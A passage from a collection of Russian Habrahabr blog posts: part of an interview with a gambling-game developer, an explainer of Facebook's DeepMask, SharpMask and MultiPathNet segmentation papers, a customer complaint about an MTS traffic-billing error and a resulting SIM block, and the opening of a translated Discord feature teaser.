Психология игрока в лотерею отличается от психологии игрока в однорукого бандита или от тех, кто делает ставки на спорт. Последние считают, что понимают, что делают: следят за событиями, подсчитывают статистику. Те, кто играет в казино, ищут развлечения в чистом виде: любят смотреть, как что-то крутится, наслаждаться обстановкой. Или просто долго нажимать на кнопочки в онлайне. Те же, кто играет в лотерею, хотят однократного действа — купить билетик, чтобы через неделю получить результат. Есть смешанный тип людей: долго сидеть на месте они не хотят, но провести немного времени за игрой им интересно. Для них и придумали такие игры как scratch cards, high/low — мгновенные лотереи или «у кого больше» — где простое действие дает быстрый результат. Мы, например, сделали очень успешную игру Snakes And Ladders: рассчитали математику, сделали удачный дизайн, и она как раз благополучно попала на сайт этого оператора. О выставках Мы посещаем четыре-пять событий в год и очень тщательно к ним готовимся. Самый крупное событие в индустрии — лондонский ICE Totally Gaming. Там представлены и казино, и букмекерские конторы, и аналитические агентства, и платежные системы — обычно более 400 участников. Огромный выставочный центр всегда заполнен, причем места там очень дорогие, а большинство участников выставки сфокусированы на оналйн-бизнесе. Это событие номер один, причем мы считаем его нашим домашним — даже устраивали там частную вечеринку в этом году. Но надо сказать, что каждая выставка, на которой мы побывали, давала нам новые возможности — вообще, как раз в игровой индустрии ивенты очень важный источник новых заказчиков. Что касается Лас-Вегаса, там базируются огромные мировые корпорации. Там есть возможность встретиться со стейкхолдерами топовых компаний — затем вы можете продолжать сотрудничество уже, скажем, в Великобритании. Специфика бизнеса в США в том, что решения принимаются очень быстро, поэтому времени выставки бывает достаточно для того, чтобы как минимум предварительно о чем-то договориться на месте. Основное отличие Лас-Вегаса от Лондона в том, что здесь участники в основном заинтересованы в развитии традиционных казино. Шикарные стенды, прекрасные продукты, новые мониторы, новые места, новые идеи для мультиплеер, рулетки — очень много всего интересного. Однако пять лет назад я бы сказал, что это нам неинтересно — все-таки, мы разрабатываем софт. Зато сейчас мы абсолютно уверены, что даже у land-based-компаний, всегда есть потребность сделать что-то в интернете. Сейчас обдумываем поездку в Макао в следующем году — это еще один город, где можно встретиться со стейкхолдерами глобальных гемблинговых компаний. У нас, кстати, уже есть клиенты в Юго-Восточной Азии.
https://habrahabr.ru/company/dataart/blog/317978/
habrahabr
Статьи, лежащие в основе подхода Facebook к компьютерному зрению
['computer vision', 'neural networks', 'machine learning', 'wunderfund']
Знаете такую компанию — Facebook? Да-да, ту самую, у сайта которой 1,6 миллиардов пользователей. И если взять все посты-поздравления с днем рождения, ваши позорные детские фотографии (у меня они...
Знаете такую компанию — Facebook? Да-да, ту самую, у сайта которой 1,6 миллиардов пользователей. И если взять все посты-поздравления с днем рождения, ваши позорные детские фотографии (у меня они такие), того дальнего родственника, лайкающего каждый ваш статус, — и вот вам множество данных для анализа. С точки зрения анализа изображений Facebook весьма далеко продвинулся со сверточными нейронными сетями (Convolutional Neural Network, CNN). В августе подразделение Facebook по исследованиям в области искусственного интеллекта (Facebook AI Research, сокращенно FAIR) опубликовала блог-пост об алгоритмах компьютерного зрения, которые лежат в основе некоторых их алгоритмов сегментации изображений. В этом посте мы кратко изложим и разъясним три статьи, на которые ссылается этот блог. Обычно FAIR использует следующую последовательность алгоритмов. Изображения подаются на вход фреймворку сегментации DeepMask. Алгоритм SharpMask служит для улучшения выделенных на первом этапе сегментов, затем объекты классифицируются с помощью MultiPathNet. Давайте рассмотрим, как работает каждый из этих компонентов в отдельности. DeepMask Введение Эта работа, принадлежащая Педро Пинэйро, Роману Коллоберту и Петру Доллару, называется “Учимся выделять объекты-кандидаты” (“Learning to Segment Object Candidates”). Для решения задачи сегментации изображений авторы предлагают алгоритм, который, получая фрагмент изображения, выводит маску объекта и вероятность того, что в центре фрагмента находится объект целиком. Этот процесс применяется ко всему изображению так, чтобы маска была создана для каждого объекта. Весь процесс осуществляется с помощью всего одной CNN, так как оба компонента используют одни и те же слои сети. Входные и выходные данные Для начала изобразим то, что мы ждем от модели. Мы хотим для входного изображения получить набор масок или силуэтов каждого объекта. Можем предcтавить исходное изображение как множество фрагментов. Для каждого входного кусочка на выходе получаем двоичную маску, содержащую силуэт главного объекта на нем, а также оценку того, насколько вероятно, что данный фрагмент содержит объект (от -1 до 1). Каждый обучающий пример должен содержать эти три компонента (примечание: пример с вероятностью 1 должен содержать фрагмент, в центре которого находится объект, который содержится в изображении полностью и в том же масштабе). Алгоритм применяется к различным участкам изображения (тому самому множеству фрагментов, которое мы упоминали ранее). Затем результаты объединяются, образуя одно оконательное изображение, содержащее все маски. Давайте посмотрим, из чего состоит алгоритм. * Рисунок 1 . Сверху . Архитектура модели: после общего слоя извлечения характеристик, модель расходится на две ветки. Верхняя ветка предсказывает маску сегментации для объекта, находящегося в центре, в то время как нижняя ветка предсказывает вероятность того, что фрагмент содержит объект. Снизу . Примеры обучающих троек: входной фрагмент x, маска m и метка y. Зеленые фрагменты содержат объекты, удовлетворяющие определенным условиям и поэтому помеченные y = 1. Заметьте, что маски из негативных примеров (красных) не используются и показаны только для иллюстрации. Архитектура сети Сеть была заранее обучена классификации изображений на базе ImageNet (Transfer Learning в действии). Изображение проходит через VGG-подобную модель (без полносвязных слоев) с восемью сверточными слоями размера 3х3 и пятью слоями maxpool 2х2. В зависимости от размеров исходного изображения, вы получите определенный объем выходных данных (в данном случае, 512х14х14). Input : 3 x h x w Output : 512 x h/16 x w/16 Затем сеть разделяется на два компонента, описанных выше. Один из них берет на себя сегментацию, в то время как второй определяет, есть ли на изображении искомый объект. Компонент сегментации (Segmentation Head) Теперь берем выходные данные, передаем их через внутренний слой и ReLU слой. Сейчас у нас есть слой из w’ x h’ (где w’ и h’ меньше, чем w и h исходного изображения) классификаторов пикселей, которые определяют, является ли данный пиксель частью объекта в центре изображения (если размер изображения 28х28, то классификаторов будет менее 784). Затем берем выходные значения классификаторов, методом билинейной интерполяции повышаем разрешение изображения до исходного и получаем двоичную маску (1 — если пиксель принадлежит искомому объекту, 0 — если нет). Компонент “объектности” (Objectness Head) Второй компонент сети определяет, содержит ли изображение объект нужного масштаба в центре. Передавая выходные данные VGG-подобных слоев через maxpool-слой размерности 2х2, модуль dropout и два полносвязных слоя, мы можем получить нашу вероятностную оценку. Обучение Оба компонента сети обучаются параллельно, так как функция потерь — это сумма потерь логистической регрессии (потери Objectness Head плюс потери применения Segmentation Head к каждому фрагменту). Алгоритм обратного распространения ошибки пробегает либо по Objectness Head, либо по Segmentation Head. Для улучшения модели был использован прием расширения обучающего множества (Data Augmentation). Модель обучали методом стохастического градиентного спуска на графическом процессоре Nvidia Tesla K40m в течение пяти дней. Чем крута эта статья Одна сверточная нейронная сеть. Нам не понадобился дополнительный шаг генерации гипотез местоположения объекта (object proposals) или какой-либо сложный процесс обучения. Этой модели присуща определенная простота, что обеспечивает гибкость сети, а также эффективность и скорость. SharpMask Введение Предыдущая группа исследователей (совместно с Цунг-Йи Лином) также являются авторами статьи под названием “Учимся улучшать сегменты объектов” (“Learning to Refine Object Segments”). Как видно из названия, эта статья рассказывает об улучшении масок, созданных на этапе DeepMask. Главная проблема DeepMask в том, что эта модель использует простую сеть прямого распространения, которая успешно создает “грубые” маски, но не выполняет сегментацию с точностью до пикселя. Причина этого в том, что, если помните, в DeepMask имеет место билинейная интерполяция, которая служит для подгона под размер исходного изображения. Поэтому соответствие реальным границам очень приблизительно. Чтобы решить эту проблему, модель SharpMask объединяет информацию низкоуровневых характеристик, которую мы получаем от первых слоем сети, с высокоуровневой информацией об объекте, которая приходит от более глубоких слоев. Сначала модель создает грубую маску каждого входного фрагмента (работа DeepMask), а затем передает через несколько уточняющих модулей. Рассмотрим этот этап более детально. Архитектура сети Идея SharpMask появилась из следующих соображений: так как для нахождения точной маски объекта нам необходима информация объектного уровня (высокоуровневая), нам необходим нисходящий подход, который вначале строит грубые сегменты, а затем совмещает из с важной низкоуровневой информацией из начальных слоев. Как видно из рисунка выше, исходное изображение вначале проходит через DeepMask для получения грубой сегментации, а затем поступает на вход последовательности уточняющих модулей для более точного увеличения изображения до размеров исходного. Уточняющий модуль (Refinement module) Рассмотрим более подробно, как устроен уточняющий модуль. Задача этого модуля — противостоять влиянию слоев подвыборки (pooling layer) на этапе DeepMask (слоев, которые сжали изображение 224x224 до 14x14), увеличивая размерность полученных масок с учетом карт признаков, созданных во время восходящего прохода (мы можем называть DeepMask восходящим проходом, а SharpMask — нисходящим). Говоря языком математики, уточняющий модуль — это функция, которая генерирует расширенную маску М, то есть функция от маски предыдущего слоя и карты признаков F. Количество уточняющих модулей должно равняться количеству слоев подвыборки, используемых в DeepMask. Но что именно делает функция R? Рад, что вы спросили. Наивным подходом было бы просто объединить M и F, так как у них одна у них одинаковая высота и ширина. Проблему при таком подходе создает канал глубины цвета для каждого из этих компонентов. Число таких каналов в картах признаков может быть намного больше, чем в маске. Таким образом, простое объединение придаст слишком большое значение F. Решением было бы сократить число каналов глубины цвета для F с помощью сверточного слоя 3x3, объединения c M, прохождения через еще один сверточный слой 3х3 и, наконец, билинейную интерполяцию (см. схему архитектуры сети). Обучение Те же обучающие данные, что использовались для DeepMask, можно применить и для SharpMask. Сначала обучают слои DeepMask. Затем веса замораживают, и начинается обучение SharpMask. Чем крута эта статья Эта статья, основываясь на DeepMask, вводит новый, простой в использовании модуль. Авторы открыли, что могут достичь более высокой точности сегментации, просто задействуя низкоуровневую информацию, доступную на более ранних слоях этапа DeepMask. MultiPathNet Введение DeepMask создаеь грубые маски сегментов. SharpMask уточняет контуры объектов. А задача MultiPathNet — идентифицировать или классифицировать объекты в масках. Группа, состоящая из Сергея Загоруйко, Адама Лерера, Ценг-Йи Лина, Педро Пинейро, Сэма Гросса, Сумит Чинтала и Петра Доллара опубликовали статью “Сеть MultiPath для распознавания объектов” (“A MultiPath Network for Object Detection”). Задача этой статьи — улучшить методы распознавания объектов, направив внимание на более точную локализацию, а также на сложные изображения с разными масштабами, большим количеством препятствий и лишних деталей. Эта модель использует Fast R-CNN в качестве отправной точки (см. эту статью или мой предыдущий пост ). В сущности, эта модель — реализация Fast R-CNN с генерацией гипотез о местоположении объекта с помощью DeepMask и SharpMask. Три основных изменения, описанных в статье, — форвеальные области (forveal regions), skip connections, интегральная функция потерь (integral loss). Но прежде, чем углубляться, давайте взглянем на архитектуру сети. Архитектура сети / фовеальные области Как в Fast R-CNN, мы передает входное изображение через VGG-сеть без полносвязных слоев. ROI pooling слой используется для извлечения признаков из гипотез (region proposals) (как помним из статьи о Fast R-CNN, ROI poling — это метод составления из характеристик изображения карты признаков определенной области изображения). Для каждой гипотезы мы обрезаем изображение четырьмя различными способами, чтобы рассмотреть объект в разных масштабах. Это и есть “фовеальные области”, о которых шла речь во введении. Эти обрезанные фрагменты проходят через полносвязные слои, выходные данные объединяются, а сеть распадается на ветку классификации (classification head) и ветку регрессии (regression head). Авторы предполагают, что это фовеальные области помогут более точно определять местоположение объекта, потому что так сеть сможет видеть объект в различных масштабах и в различном окружении. Skip Connections Благодаря Fast R-CNN, после последнего сверточного слоя VGG входное изображение 32х32 будет быстро сжато до размеров 2х2. ROI pooling слой создаст карту 7х7, но мы все равно потеряем много пространственной информации. Чтобы решить эту проблему, мы объединяем признаки из словем conv3, conv4 и conv5, а результат передаем форвеальному классификатору. Как утверждается в статье, это объединение “дает классификатору доступ к информации о признаках из различных областей изображения”. Интегральная функция потерь Не хочется углубляться в эту тему, ибо думаю, что вся математика гораздо лучше объясняется в самой статье, но в целом идея в том, что авторы вывели функцию потерь, которая работает лучше с многими значениями Intersection over Union (IoU). Чем крута эта статья Если вы поклонник Fast R-CNN, то вам точно понравится эта модель. Она использует основные идеи VGG Net и ROI pooling, в то же время создавая новый способ более точной локализации и классифткации с помощью форвеальных областей, skip connections и интегральной функции потери. Кажется, Facebook отлично освоил всю эту науку о CNN. Если вам есть что добавить, или вы можете иначе объяснить какую-либо из статей, дайте знать в комментариях. Код DeepMask и SharpMask. Код MultuiPathNet. → Ссылка на оригинал → Источники О, а приходите к нам работать? :) wunderfund.io — молодой фонд, который занимается высокочастотной алготорговлей . Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки. Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь. Присоединяйтесь к нашей команде: wunderfund.io
https://habrahabr.ru/company/wunderfund/blog/317930/
habrahabr
Каникулы Василия или использование МТС ошибки учёта трафика для длительной блокировки счёта
['МТС', 'биллинг', 'техподдержка', 'качество обслуживания']
По следам аналогичной публикации о технических ошибках систем, приводящих к ошибкам в расчётах с клиентами, публикую обещанную историю с МТС. Не реклама. :) Был август. До 2-го курса студента...
По следам аналогичной публикации о технических ошибках систем, приводящих к ошибкам в расчётах с клиентами, публикую обещанную историю с МТС. Не реклама. :) Был август. До 2-го курса студента Василия Задёрганова (персональные данные изменены) оставалось несколько дней. Он был доволен летним интернетом от МТС на тарифе «МТС Коннект-4» по услуге «МТС-Планшет» — 4 ГБ трафика в месяц. И оставался последний день услуги и последний нескачанный гигабайт. «Эх, скачаю фильм, и укачу на последние дни на природу!» — безмятежно подумал Василий. У него было просчитано всё. Он знал истории об облапошенных велосипедистах-любителях , у которых из-за незакрытого велозамка на прокате массово списывают тысячу рублей. Он знал, что вернут деньги лишь избранным, кто хорошо и красиво напишет об этом и прославит сервис на всю страну . Но это — не его путь. Он сделал всё, чтобы не пострадать. Он — стратег. 1) заранее для интернета завёл отдельную сим-карту; 2) заранее оставил для подлых крохоборов лишь 20 непотраченных рублей на счёте; а мог и меньше; но верил им, что побрезгуют такой мелочью; 3) в Личном Кабинете отключил опции законного жульничества — автоматической оплаты сверхлимитного трафика по повышенному тарифу; 4) там же отключил опцию «передавать трафик на услуге сверх лимита». Вы поняли, какая перестраховка? Это вам не тракторист Федя, которого вы в этом сезоне обули на рекламе . Кто-то бы успокоился на отключении первой опции, а тут ему — вторая, не автоматическая. Вася — не такой. … До конца его сим-карты оставалась пара часов. Работникам МТС: не решайте вопрос Василия Задёрганова как жалобу на страницах Хабра или в ЛС, помните, что «Хабр — не жалобная книга», а у вас есть свой сайт. Просто через Хабр у нас, наконец-то, найдутся специалисты, разработчики, у вас же работающие, которые решат вашу проблему (если их не остановят). Через техподдержку она не решена уже 4 месяца, несмотря на 5 сообщений Василия в неё по единственной на компанию форме обратной связи info@mts.ru. Придётся Василию обращаться к специалистам напрямую и заводить речь о ваших ошибках в ПО. Передаю ему слово. — Внешне проблема проста: МТС насчитал задолженнось на основании учёта трафика, я им указал на ошибку (сдвиг во времени учёта трафика на 2 часа), они отказались её признать. Если бы это был объективно посчитанный трафик — нет проблем оплатить. На самом деле, «долг» образовался в результате ошибок их системы учёта. Казалось бы, легко проверить. Но почему они «не чешутся»? Как, прямо так сразу и отказали, не разбираясь? — Нет, ну как сразу. Первое письмо от них, и последнее, не от робота, пришло через 1 (один!) месяц и 5 дней! Я за это время им 3 письма успел написать. Всего 3 письма за месяц? Не мало ли? — Но я ничего нового не писал, повторял разными словами одну и ту же суть: у вас ошибка, вы без оснований отключили мою симкарту. Старался донести мысль разными способами. Но в ответ — ни слова, только ответ робота: «Благодарим за использование нашего сервиса!». Я готов был написать больше, но не роботу же, от которого не понятно, в чём их проблема, что им надо пояснить. Наверное, ответ в том, что «минус» посчитан не в их карман, потому и «не чешутся...» — Но я как пользователь, получил: 1) списание со счёта тех 20 рублей, больше которых я предусмотрительно не оставлял (вот же, крохоборы!); 2) телефонное хулиганство в виде передачи СМС о «задолженности»; 3) блокировка сим-карты, уже 4 месяца почти (вот эта проблема уже посерьёзнее будет для меня как для пользователя); 4) распространение обо мне ложных сведений как о «должнике» (пока что в рамках СМС, но сомневаюсь, что это мало); 5) невозможность всё время (4 месяца!) решить вопрос через техподдержку, несмотря на многократное обращение. Наверное, это лично для меня тоже много неудобств, но до сих пор не вижу оснований решать их технический вопрос (по сути, помогать им наладить их сервис) за счёт своего времени или через суд. Надеюсь, после решения своих проблем они оценят мою помощь и сделают компенсацию не только за принесённые неудобства, но и за участие в тестировании, за сам факт создания тест-кейса по этой ошибке. Плюс, хотелось бы в конце узнать скольким людям удалось помочь: сколько пользователей пострадали материально в результате этой же ошибки (сдвиг во времени учёта трафика на 2 часа)? Не могли бы Вы, Василий, описать подробности проблемы и почему Вы считаете это ошибкой их ПО? — С готовностью. Как это было? Опишу возникновение ошибки максимально подробно, чтобы дать максимум шансов разобраться в проблеме техническим специалистам компании МТС. Ведь, несмотря на мои пояснения 5 раз одного и того же, я лишь один раз (после третьего обращения!) получил формальный ответ вида: «В 16:57 система насчитала такую-то сумму, вы нам должны.» (тот самый «долг»). Ну так я и так из отчёта знаю, что в 16:57 система насчитала. То, что это — ошибка — так сознание того дежурного специалиста пробить и не удалось. А на второй раз он не ответил. Хотя я с первого же раза писал, что это — именно их системы ошибка. Перед пользованием на тарифе «МТС Коннект» (услуге «МТС-Планшет») были перекрыты все возможности «законного жульничества» (все понимают, что это, но интересующися увидят пояснения внизу): 0) вообще, заведена отдельная сим-карта; 1) отключена опция автоматической оплаты сверхлимитного трафика; 2) отключена опция «передавать трафик на услуге сверх лимита»; 3) на счету оставлена маленькая сумма — около 20 рублей — чтобы никакие выверты логики оператора не привели к неожиданной потере денег. Услуга использовалась для доступа в интернет. И всё же, МТС оказались «хитрее». Они нашли (уверен, что у них так получилось абсолютно случайно), как насчитать, используя ошибку своей автоматики — программного обеспечения, учитывающего трафик. Если бы этой ошибки не было, не было бы и проблем, созданных ими мне. Суть ошибки Те, кто интересовался учётом трафика на серверах файлообменников, наверняка, знает об этой возможной проблеме. Я её встречал в обсуждениях учёта трафика то ли в файлообменных сетях, то ли в торрентах. Было это довольно давно и я не могу привести ссылки на примеры. Но суть такая, что сервер файловой раздачи (или учёта раздачи) в каких-то случаях было трудно настроить на точный учёт окончания момента скачивания. Учёт почему-то смещался произвольно на время порядка 40 минут — часа или чуть больше. В случае бесплатных сетей это мешает только точности статистики, а в случае коммерческого учёта, как у МТС — сами понимаете. Вот и здесь, как только я узнал о том, что они вдруг неправильно посчитали трафик, никаких сомнений не было — это у них техническая ошибка, многократно известная специалистам из опыта пользования похожими системами. У меня был такой порядок действий при закачке: 1) Посмотрел в панели управления, что осталось трафика около 950 МБ в пределах оплаченной услуги, срок которой истекал завтра; 2) решил, что можно скачать файл (фильм) размером 700 Мб, а потом закрыть услугу, чтобы она автоматически завтра не продлилась; 3) поставил скачивание и полностью законно потратил трафик на него; 4) минут через 5-10 после этого, посмотрев, что завтра будет проблемы со связью из сельской местности, решил отключить услугу заранее; отключил услугу; ВНИМАНИЕ: в этот момент файл был уже полностью скачан, сохранён на диске, чтобы потом спокойно воспользоваться. 5) больше никаких действий ни с интернетом, ни со скачиванием файла не производилось; Файл уже был скачан (повторяюсь, но в этом факте — суть). Что же произошло у них с системой учёта? Дней через 15 я вдруг обнаружил, что эти ребята не такие простые. Если им перекрыть все возможности «надуть» пользователя, они из-под земли отыщут эту возможность. (Шутка.) Да, они заблокировали счёт с 20 рублями. Причина? Причина — «задолженность на более, чем 1000 рублей». Откуда? Оказалось, их система учёта совершенно не в рамках договора, «сдвинула» учёт файла на час-два. Две трети файла посчитались скачанными примерно на 2 часа позже, чем это было на самом деле. (Это можно оценить, исходя из того, что файл скачивался часа 3.) В сумме, трафика, как полагается, меньше 4 ГБ за весь месяц. А часть из них — изящно так сдвинута, генерируя «долг». Как это доказать, прежде всего, им для себя, что файл был скачан «в правильное время», в период действия услуги? Это же очень просто, мужики. Я вам об этом в техподдержку писал 5 раз подряд, примерно раз в неделю, разным текстом, но всегда с изложением сути. Почему-то за это время никто не последовал проверить мои доводы. 1) предположите, что ваша система учёта ошиблась, как я утверждаю (может быть, этот пункт оказался вами непроходимым?); 2) проверьте, в какие часы я был подключён к вашей сети. Очевидно, что файл мог скачиваться лишь в момент, когда я был подключён к сети; 3) проверьте, когда я отключил услугу — это зафиксировано в отчёте (те самые 16:57), сомнению который никто не подвергает; 4) убедитесь, что я был подключён к сети в основном до этого момента (потом была электричка, неуверенная связь, а интернет вообще не подключался); 5) теперь самое главное, держитесь, кто не верил — проверьте, в какой час был УЧТЁН трафик на больше 1000 рублей? Окажется, что на примерно час или два позже. Теперь ответьте на простой вопрос: если система учёта работает правильно, то мог бы я БЕЗ подключения к интернету скачать 500 МБ трафика на телефоне 3G? Вывод был бы совершенно очевиден — система учёта ошибается и сдвигает трафик на 1-2 часа позже. И учитывает его позже. Но и тут, если бы система работала правильно, она не дала бы уменьшить баланс ниже нуля. Ведь тариф этот имеет авансовую систему расчёта. И вообще не дала бы скачать 500 МБ трафика. Но ведь дали же? Почему? Потому что он был скачан во время услуги «МТС-Планшет», а стало быть, должен быть бесплатен! (Оплачен заранее.) Стало быть, здесь видим не одну, а две ошибки учёта. Вот об этом я и писал 5 раз подряд в течение месяца, в ответ на каждое их автоматическое СМС «о задолженности». Почему такой простой разбор вопроса не был произведён? Кто ответит за 4 месяца проволочек? Спасибо, Василий, за подробное описание! Но, может быть, 1000 рублей — это такая мелочь, что не стоит беспокоить огромного и уважаемого оператора связи? Он на 1000 рублей не разбогатеет, а Вы — не обеднеете? Ему же некогда такими мелкими вещами заниматься! У него одного оборудования — на сотни миллионов долларов. — Если бы это пошло на пользу развития сети, я бы не возражал. Но почему они забрали мои 20 рублей? И счёт заблокировали? Они не считают, что им 20 рублей — мало. Почему я должен считать, что для меня — 1000 рублей — мало? Если бы Вы были не студентом, а пенсионером, и Вам бы понадобилась телефонная связь, которую они заблокировали, Вы никак не могли бы её получить? Если подумать, то да, никак. Или ехать в город, чтобы оплатить (напомню, я был в селе, когда они отключили), или просить соседей или случайных прохожих. Похоже это на вымогательство денег через блокировку сотовой связи? — Я картину описал, а выводы вы можете сделать сами. Для себя я сделал такие выводы: Выводы о компании МТС в плане решения технических вопросов своих сервисов Техподдержка в МТС проблемная. Невозможно зафиксировать обращение и получить на него номер, адрес страницы, чтобы впоследствии ссылаться. В ответ приходит только ответ робота, без номера и ссылки. Ответ от человека пришёл примерно через 3 недели после первого моего письма, не решил проблему и в нём тоже не было ссылки для ответа. Срок — крайне неприемлемый. (А если бы мне сим-карта была бы нужна завтра? Кто оплатит расходы на покупку новой?) Искать способ зафиксировать обращение или жалобу в компанию — видимо, нужно обращаться в офис компании или в органы государственной власти, что для мелких технических вопросов было бы совершенно странно. (Или, по методу изобретателей, писать заказное письмо. Сомневаюсь, что в офисе компании дадут по моей просьбе компрометирующее их утверждение с подписью и печатью.) Компания не создаёт основания для обращения на неё в суд — не заявляет публично о задолженности. Однако, в случае СМС это — спорно. В то же время, компания месяцами не решает очевидно существующий у неё вопрос, что совершенно неприемлемо, если бы не было альтернатив купить другую сим-карту. Долгое нерешение вопроса компанией имеет следствием долгое непользование номером телефона, что может, по правилам, привести к удалению номера у абонента. Проигрывает пользователь по вине компании, затраты на покупку тарифного плана теряются вместе с остатком счёта. Поэтому со временем пользователь вынужден решать вопрос для сохранения номера. Но — см. заголовок — что делать, если компания не желает решать вопрос? О термине «законное жульничество» Почему жульничество? Потому что опции повышенной оплаты за избыточный трафик включены по умолчанию. А обычно продавец должен спросить, нужна ли клиенту такая услуга. Чтобы не быть голословным и не доказывать очевидное, сошлюсь лишь на недавнюю статью известного блогера " Налог на невнимательность ". Подобное «жульничество» широко применяется всеми операторами связи. Для данной статьи важно, что я постарался обойти все жульнические списания со счёта, и если бы не ошибка их системы учёта, списания бы не было. По пункту 5 , если кому интересно, что будет, если 5 месяцев не пользоваться телефоном? На тарифе «Коннект-4» прописано: В случае неиспользования услуг связи (в том числе бесплатных) и отсутствия платежей в течение 150 дней (5 месяцев), тарификация услуг связи будет осуществляться в соответствии с условиями тарифного плана «Базовый 092013». А что такое этот тариф? Читаем: howtocalls.ru/mts/tarif-bazovyiy-mts «Мало кто слышал про базовый тариф МТС, поскольку его стоимость явно завышена и практически никто им не пользуется.… стоимость на звонки в пределах домашнего региона на любые номера – 5,08 рублей за минуту ...», из другого места цитата: " Ежедневная плата по тарифу составит 3 руб .". То есть, затягивание решения своей абсолютно технической проблемы «выталкивает» абонента ещё и на невыгодный тариф. И вроде бы всё абсолютно «законно» — в договоре прописано. А потом «абсолютно законно» начнут списывать деньги по 3 рубля в день, если бы они остались на счету. Так кому выгодно затягивание решения технической проблемы в МТС? UPD : на следующий день в 13 часов. Соберу все полезные сообщения за первые ночные полсуток обсуждения темы. Большое спасибо комментаторам yizraor , Oxoron , dom1n1k , Nizametdinov , Anei , kravtsov_dim , Goodwinnew , sixeL , nApoBo3 , bravo-ej , shurupkirov , ak_il , Virtual77 за похожие истории и предположения для решения проблемы. Oxoron и Virtual77 предположили, что проблема могла возникнуть просто из-за перавильного часового пояса на сервере учёта трафика файлов или интернета. ak_il и nApoBo3 рассказали, что большое значение для убеждения Роскомнадзора имеет сертификат, ранее полученный на оборудование учёта. Комментарий nApoBo3 представляется настолько важным, что вынесу его сюда, с выделением, на мой взгляд, самых важных мест. Полагаю, проблема несколько шире, чем видbтся абоненту. МТС — это жестко бюрократизированная компания, что, скорее всего, неизбежно, когда имеешь дело с компанией такого размера, в которой многие сотрудники должны решать проблемы, связанные напрямую с абонентским счетом. Система, которая считает деньги, биллинг — сертифицирована/аттестована , скорее всего подвергается периодической проверке и т.д. Если допустить, что абоненту некорректно посчитаны услуги, отсюда следует, что или биллинг (как комплекс, включающий системы регистрации, хранения и учета) косячит, или есть проблема с документами, которые данный процесс сопровождают. У компании в таком случае есть два варианта, вернуть абоненту деньги и закрыть на это глаза ( после чего решить вопрос по-тихому в процессе планового обновления биллинга, не признавая наличия проблемы) или столкнуться с ситуацией признания возможной некорректности начислений по всем абонентам в период времени, подверженному проблеме с биллингом (документарной или технической). Полагаю, на уровне, где проблема (сейчас) находится — лиц, которые готовы и имеют право принять такое решение, нет. Т.е. если абоненту возвращают деньги, должен быть внутренний процесс который объяснит возврат и запустит дополнительные процессы решения проблемы, но этот процесс будет явно противоречить закону (поскольку оставит сокрытым факт некорректности работы биллинговой системы), т.е. кто-то должен будет взять и сделать начисление абоненту 1000 рублей без явных видимых причин и какого либо документарного сопровождения, а потом связаться с поставщиком блиллинга втихую , решать проблему и обновить биллинг. Или этот же кто-то должен признать перед абонентом наличие косяка в биллинге и запустить в компании соответствующие процессы. Боюсь, такого «кто-то» там просто нет. Так что, единственное возможно поведение МТС в данной ситуации — сослаться на сертифицированный биллинг и его не непогрешимость и послать абонента, что прискорбно, хотя и происходит регулярно, особенно, с платными хитрыми доп. услугами. Из этого, думаю, и следует исходить всем пострадавшим. Будут «включение дурочки» ((С) А. Райкин), подлоги, ложные официальные утверждения. И те же затягивания сроков, которые совершенно не обязательно сейчас тратятся на срочное решение технической проблемы. И ещё lex_infohunter : … Месяц переписки в твиттере и через e-mail проблему не решили. После заявленя в РКН и роспотребнадзор все наладили. Подключили какую-то услугу, которая отключает услугу автоматического продления. Да-да, такая вот замысловатая функция вышла. Трафик теперь почти всегда отображается корректно. Иногда утром сбоит и показывает с мифическими гигабайтами. Поэтому сделал для себя вывод: больше с поддержкой МТС долгих бесед не вести, а после первого же отказа — использовать инструментарий государственного принуждения. Обидно и неприятно этим заниматься, но увы, другие варианты в нашей стране плохо работают . Выводы из статьи какие? Как бы вы поступили на месте студента Василия Задёрганова (персональные данные изменены)? С одной стороны, игнорировать МТС неприлично, с другой — вроде бы мелкое щипачество, кто-то не обратит внимания. С одной — отправка СМС про задолженность — уже распространение ложных сведений, если прав Василий, с другой — кто это будет доказывать? С одной стороны, возмущает неповоротливость компании (4 месяца мурыжить), с другой — неизвестно, всё ли Василий сделал, чтобы отстоять свою честь. Может быть, он сам позволил им над собой издеваться? А давайте зарядим опрос и пожелаем Василию… нет, всем таким Василиям, кто в течение месяцев не может получить ответа от МТС, найти решение вопроса. Интересно будет, как он решится. Я лично привык к тому, что интернет-компания решает вопросы связи за полчаса, час, но не за месяцы. Действительно ли много подобных проблем имеет компания, не только МТС? Я со своей стороны буду поддерживать связь. (Опрос, понятно, не полностью корректный. Кто-то может пожертвовать номером, а кто-то, думаю, многие, за 1000 р. — нет. Но пусть вот он покажет реальное положение абонента перед действием компании. Тем красноречивее будет показана расчётливость действия «одолживших» — сколько тысяч они смогли бы повымогать здесь.)
https://habrahabr.ru/post/317984/
habrahabr
Discord. Тизер к уходящему году — Поиск, Скриншаринг, Видеочат, Логи аудита и Менеджмент каналов
['discord', 'игрухи', 'общение в интернете']
Это перевод недавней записи в блоге разработчиков Discord. Это тот сервис, который всё больше становится похож на конкурента Slack, хотя и не является его явным аналогом. В общем, хорошая эта...
Это перевод недавней записи в блоге разработчиков Discord. Это тот сервис, который всё больше становится похож на конкурента Slack, хотя и не является его явным аналогом. В общем, хорошая эта штука, этот Discord. Хочется написать про него на Хабре немного. 15 декабря 2016 2016 был большим годом для Discord. Мы выросли из маленького притона в платформу, которую используют 25 миллионов людей для того чтобы играть со своими друзьями в игры (да и не только играть: в Discord, к примеру, ещё в конце 2015-го завалилась вся команда React разработчиков — прим. пер.). Время не стоит на месте, хотя и не снижает наше желание продолжать вести разработку Дискорд под солнцем. Для достижения этого, наши инженеры ушли в свою лабораторию, чтобы приготовить для вас несколько вкусненьких штучек в грядущем 2017-м. Команда маркетинга устроила ограбление и украла эту тяжёлую и слегка влажную сверхсекретную папку из их лаборатории. Мы едва выбрались оттуда, таща за собой это сокровище. Посмотрим же, что там такое внутри... Имейте ввиду, что всё, что вы видите здесь, может измениться. Разве что кроме поиска: он почти полностью доделан. Поиск Вместе с поиском, вы можете сёрфить по истории, используя многочисленные фильтры. Вы даже можете совмещать эти фильтры, чтобы сузить результаты поиска. Пытаетесь найти какое-то специфичное Youtube-видео, которое запостил ваш друг DumplingButter в чате #memejabs где-то в ноябре до 19-го числа? 